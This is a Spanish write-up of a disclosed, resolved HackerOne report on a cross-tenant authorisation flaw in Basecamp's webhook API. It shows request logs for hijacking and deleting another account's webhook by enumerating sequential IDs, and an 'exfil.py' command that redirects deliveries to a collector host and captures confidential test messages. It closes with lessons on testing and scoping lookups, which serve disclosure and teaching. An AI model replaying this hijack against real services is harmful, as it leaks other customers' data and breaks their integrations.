Resumen
Los manejadores de escritura de webhooks de Basecamp decidían si dejar pasar una petición mirando si el proyecto era visible, no si quien la hacía pertenecía a la cuenta dueña del webhook. El resultado es un fallo entre clientes: con una cuenta sin ninguna relación con la víctima, el investigador deivizzzz modificó y eliminó un webhook de un proyecto All-access (visible para todos los empleados de esa cuenta), en una cuenta a la que nunca se había unido.
Las rutas afectadas son estas, donde <account> puede ser la cuenta del propio atacante:
PUT /<account>/webhooks/<id>.json
DELETE /<account>/webhooks/<id>.json
Lo llamativo es la incoherencia entre operaciones. Leer ese mismo webhook con GET devolvía un 403, pero cambiarlo con PUT devolvía un 200. Es decir, la comprobación de lectura y la de escritura no aplicaban el mismo criterio.
HackerOne recoge el caso con la debilidad Improper Authentication - Generic y severidad alta. El reporte se envió el 29 de agosto de 2026, se divulgó el 30 de octubre de 2026 y consta como resuelto, con recompensa de importe no público.
Pasos de reproducción
El investigador usó dos cuentas propias sin ningún miembro en común, y dos scripts, poc.py y exfil.py, que generaron los registros que se reproducen aquí. Los identificadores de webhook suben en cada ejecución, de ahí que algunos cambien entre pasos.
1. Partir de dos identidades independientes. Cada una pertenece solo a su cuenta:
attacker identity 28665850 accounts [6267386]
victim identity 28662102 accounts [6266520]
2. Comprobar que los ID de webhook son predecibles. Se crea un webhook en cada cuenta y salen números consecutivos, porque todas las cuentas comparten un mismo contador:
POST /6266520/buckets/48629889/webhooks.json -> 201 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z...
POST /6267386/buckets/48681891/webhooks.json -> 201 {"id":1996543,"active":true,"created_at":"2026-08-29T11:45:12.224Z...
victim webhook id 1996542, attacker webhook id 1996543 (consecutive, different accounts)
3. Poner el proyecto de la víctima en All-access. Se hace con el propio control de Basecamp, sin nada raro:
POST /6266520/projects/48629889/admissions project[admissions]=employee -> 302
GET /6266520/projects/48629889.json -> 200 {"id":48629889,"status":"active","created_at":"2026-08-25T10:00:1...
all_access = True
4. Atacar el webhook de la víctima. En la ruta va la cuenta del atacante y, detrás, el ID del webhook ajeno. La lectura se deniega, un ID inexistente da 404 y la escritura pasa:
GET (read handler denies) GET /6267386/webhooks/1996542.json -> 403 {"message":"You must first seek admission","admission_url":"https://3.basecampapi.com/6267386/buckets/48629889/admissions","admission_method":"POST"}
GET nonexistent id GET /6267386/webhooks/999999999.json -> 404 {"status":404,"error":"Not Found"}
PUT (write handler ALLOWS) PUT /6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z","updated_at":"2026-08-29T11:45:17.053Z",...
Fíjate también en que el 403 frente al 404 ya delata qué ID existen.
5. Repetir la escritura en los otros dos hosts del alcance. El comportamiento es el mismo:
PUT via app.basecamp.com PUT https://app.basecamp.com/6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026...
PUT via 3.basecamp.com PUT https://3.basecamp.com/6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-0...
6. Descartar que el atacante tuviera una vía legítima. El 403 ofrece un enlace de admisión, pero no sirve: ni por la cuenta del atacante ni por la de la víctima se puede entrar en ese proyecto. La última línea es el control: en su propio proyecto, la misma petición sí funciona.
POST /6267386/buckets/48629889/admissions.json -> 404 {"status":404,"error":"Not Found"}
POST /6266520/buckets/48629889/admissions.json -> 401 {"error":"OAuth token is valid, but is not authorized to access this accou...
POST https://app.basecamp.com/6267386/buckets/48629889/admissions.json -> 404 {"status":404,"error":"Not Found"}
POST /6267386/buckets/48681891/admissions.json -> 200 {"id":48681891,"status":"active","created_at...
7. Confirmar el cambio desde la víctima. Al leer su webhook, ve la nueva fecha de actualización y un payload_url que ya no es el suyo:
GET /6266520/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z","updated_at":"2026-08-29T11:45:17.983Z","payload_url":"https://example.com/att...
8. Borrarlo. El DELETE también pasa y la víctima se queda sin webhook:
DELETE DELETE /6267386/webhooks/1996542.json -> 204
GET /6266520/webhooks/1996542.json -> 404 {"status":404,"error":"Not Found"}
9. Control negativo. Con el proyecto de vuelta en modo solo invitados, el mismo PUT se rechaza y la víctima sigue teniendo su webhook. Esto demuestra que la condición que abría la puerta era la visibilidad All-access:
POST /6266520/projects/48629889/admissions project[admissions]=invite -> 302
all_access = False
PUT (denied when invite-only) PUT /6267386/webhooks/1996544.json -> 403 {"message":"You must first seek admission","admission_url":"https://3.basecampapi.com/6267386/buckets/48629889/admissions","admission_method":"POST"}
GET /6266520/webhooks/1996544.json -> 200 {"id":1996544,"active":true,"created_at":"2026-08-29T11:45:21.537Z","updated_at":"2026...
10. Demostrar la fuga de datos. Con python3 exfil.py https://<collector>/exfil se repite el secuestro apuntando a un servidor del investigador. Al publicarse un mensaje en el proyecto de la víctima, Basecamp entrega el contenido allí. Los datos son de prueba, de sus propias cuentas:
POST /exfil HTTP/1.1
Host: [REDACTADO].oast.me
User-Agent: Basecamp3 Webhook
X-Request-Id: 2e8e380f-f95a-4fa5-8c62-25085b145ab2
{"id":16998387703,"kind":"message_created",...
"title":"BOARD MEETING NOTES - CONFIDENTIAL",...
"bucket":{"id":48629889,"name":"XTENANT-CANARY-VICTIM-PROJECT","type":"Project"},...
"email_address":"[REDACTADO]","bio":"","admin":true,"owner":true,...
"company":{"id":4236805,"name":"HackerOne Research EMP1"},...
"content":"<div>acquisition price is 4.2M, do not share</div>"
El reporte añade que la documentación pública de la API describe justo esta capacidad de escritura, y que el investigador revirtió todos los cambios:
* `PUT /webhooks/3.json` allows changing the payload url and types of the webhook with an ID of `3`.
-- github.com/basecamp/bc3-api/blob/master/sections/webhooks.md, line 460
Impacto
Cualquier usuario de Basecamp podía recorrer el espacio de ID de webhooks, que es pequeño y secuencial, y, en todos los proyectos All-access de cualquier cliente, desviar el webhook hacia su propio servidor. Desde ese momento recibía cada mensaje, comentario, tarea y documento publicado en el proyecto.
Como muestra la prueba, cada entrega incluye el contenido y datos de quien lo crea, como el correo y si es administrador o propietario. El atacante también podía eliminar el webhook y dejar a la víctima sin la integración que dependía de él.
Qué aprender de este caso
- Si una API tiene varios verbos sobre el mismo recurso, prueba cada uno por separado: aquí
GETdevolvía 403 mientrasPUTyDELETEpasaban. Un 403 en la lectura no garantiza nada sobre la escritura. - En aplicaciones multicliente, pon tu propia cuenta en la ruta y el ID del recurso ajeno. El identificador de cuenta de la URL no protege nada si el servidor busca el objeto solo por su ID global; al programar, hay que buscarlo dentro de la cuenta (
account.webhooks.find(id), noWebhook.find(id)). - Un ajuste como All-access significa "visible para los empleados de esta cuenta". Comprueba si la aplicación lo trata como "visible para cualquier usuario autenticado", y activa y desactiva esa opción para ver qué permisos cambian, como hizo el control negativo de este reporte.
- Los webhooks merecen revisión especial: quien cambia un
payload_urlno necesita leer nada más, porque a partir de ahí los datos le llegan solos. Un contador compartido entre cuentas, como este, facilita además encontrar los ID de otros clientes.